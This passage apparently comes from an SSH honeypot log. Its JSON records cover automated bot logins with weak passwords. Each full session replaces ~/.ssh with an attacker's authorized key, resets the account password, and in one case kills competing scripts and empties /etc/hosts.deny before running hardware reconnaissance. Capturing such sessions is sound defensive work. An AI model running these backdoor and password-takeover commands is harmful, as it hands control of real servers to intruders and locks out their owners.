ls)"},{"seq":12,"at":"2026-08-27T12:15:22.420354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:22.686024+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:23.501870+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:23.763520+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:24.270434+00:00","kind":"output","latency_ms":null,"data":" 12:15:24 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:24.531473+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:25.277064+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:25.538927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:25.938669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:26.199065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:26.785694+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:26 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:27.048857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:27.475278+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:27.736196+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:28.100149+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:28.359591+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:28.949222+00:00","kind":"output","latency_ms":null,"data":"ftproot"},{"seq":29,"at":"2026-08-27T12:15:29.209562+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:30.126068+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:30.386122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:31.209428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftproot","password":"ftproot123","method":"password","accepted":true,"tier":"other"}]} {"id":"b0360082-aeed-4dc0-93ca-08aceb310c4f","name":"tranquil-jovial-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33462,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":776,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:14:52.521448+00:00","ended_at":"2026-08-27T12:14:53.775731+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:14:23.997275+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:14:24.786292+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:14:31.623208+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:14:32.004269+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:14:32.782996+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd!\\nBXoB2vRrKiFA\\nBXoB2vRrKiFA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:14:33.561489+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd!\\nBXoB2vRrKiFA\\nBXoB2vRrKiFA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:14:34.337132+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:14:34.995450+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:14:35.768631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:14:36.588188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:14:37.363314+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:14:38.222128+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:14:39.000875+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:14:39.509214+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:14:40.470712+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:14:40.884181+00:00","kind":"output","latency_ms":null,"data":" 12:14:40 up 7 days, 9:04, 0 user, load average: 0.25, 0.2, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:14:41.659442+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:14:42.450316+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:14:43.227271+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:14:44.121305+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:14:44.894341+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:14:45.533363+00:00","kind":"output","latency_ms":null,"data":"top - 12:14:45 up 7 days, 9:04, 0 user, load average: 0.25, 0.2, 0.29\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:14:46.315949+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:14:46.720544+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:14:47.506889+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:14:48.217200+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:14:48.992836+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:14:49.839166+00:00","kind":"output","latency_ms":null,"data":"dev"},{"seq":29,"at":"2026-08-27T12:14:50.612092+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:14:51.749560+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:14:52.522787+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:14:53.528218+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dev","password":"Passw0rd!","method":"password","accepted":true,"tier":"other"}]} {"id":"b0b0266a-9cb6-4fde-ae1d-7796c1b791bb","name":"western-early-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":58892,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:14:45.268099+00:00","ended_at":"2026-08-27T12:14:47.079215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2240,"events":[{"seq":1,"at":"2026-08-27T12:14:27.196465+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:14:27.493377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:14:30.939781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:14:31.694178+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:14:31.992453+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anu\\nkobVRffesbPY\\nkobVRffesbPY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:14:32.296840+00:00","kind":"input","latency_ms":null,"data":"echo \"anu\\nkobVRffesbPY\\nkobVRffesbPY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:14:32.607098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:14:33.057277+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:14:33.363838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:14:34.580517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:14:34.879439+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:14:36.255151+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:14:36.552682+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:14:37.442159+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:14:37.738437+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:14:38.636327+00:00","kind":"output","latency_ms":null,"data":" 12:14:38 up 7 days, 9:04, 0 user, load average: 0.27, 0.2, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:14:38.933344+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:14:39.419156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:14:39.716081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:14:40.462835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:14:40.758208+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:14:41.139260+00:00","kind":"output","latency_ms":null,"data":"top - 12:14:41 up 7 days, 9:04, 0 user, load average: 0.27, 0.2, 0.3\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:14:41.444287+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:14:42.077013+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:14:42.375207+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:14:42.712176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:14:43.009327+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:14:43.343360+00:00","kind":"output","latency_ms":null,"data":"anu"},{"seq":29,"at":"2026-08-27T12:14:43.653118+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:14:44.970636+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:14:45.269176+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:14:46.994176+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"anu","password":"anu","method":"password","accepted":true,"tier":"other"}]} {"id":"052656f7-0f3a-4553-91ff-893e15d0df4f","name":"hushed-alpine-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57014,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:13:37.615119+00:00","ended_at":"2026-08-27T12:13:38.850014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:13:18.875079+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:13:19.203018+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:13:23.921162+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:13:24.509175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:13:24.838227+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4tIJvNS4rLRb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:13:25.164094+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:13:25.492619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:13:25.836725+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:13:26.167586+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:13:27.158065+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:13:27.488673+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:13:28.521422+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:13:28.849953+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:13:29.485919+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:13:29.817096+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:13:30.417077+00:00","kind":"output","latency_ms":null,"data":" 12:13:30 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:13:30.747833+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:13:31.027447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:13:31.355130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:13:31.615805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:13:31.943152+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:13:32.608027+00:00","kind":"output","latency_ms":null,"data":"top - 12:13:32 up 7 days, 9:03, 0 user, load average: 0.24, 0.19, 0.16\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:32.940040+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:33.429216+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:33.756571+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:34.564353+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:34.903085+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:35.537220+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:13:35.875104+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:37.288203+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:37.616116+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:38.754147+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"d9d3e978-c9b7-4f69-b14e-6fc80085d958","name":"cheerful-amber-wren","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":36380,"username":"nico","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:13:31.294117+00:00","ended_at":"2026-08-27T12:13:32.597213+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:13:13.491252+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:13:13.752991+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:13:17.289418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:13:18.125226+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:13:18.385829+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nw9pHkfgSJ2Rx\\nw9pHkfgSJ2Rx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:13:18.647420+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nw9pHkfgSJ2Rx\\nw9pHkfgSJ2Rx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:13:18.907770+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:13:19.396483+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:13:19.658313+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:13:20.647659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:13:20.911937+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:13:22.046661+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:13:22.310273+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:13:22.957252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:13:23.215471+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:13:23.566244+00:00","kind":"output","latency_ms":null,"data":" 12:13:23 up 7 days, 9:03, 0 user, load average: 0.31, 0.3, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:13:23.825578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:13:24.259015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:13:24.518025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:13:24.992425+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:13:25.255069+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:13:25.673387+00:00","kind":"output","latency_ms":null,"data":"top - 12:13:25 up 7 days, 9:03, 0 user, load average: 0.31, 0.3, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 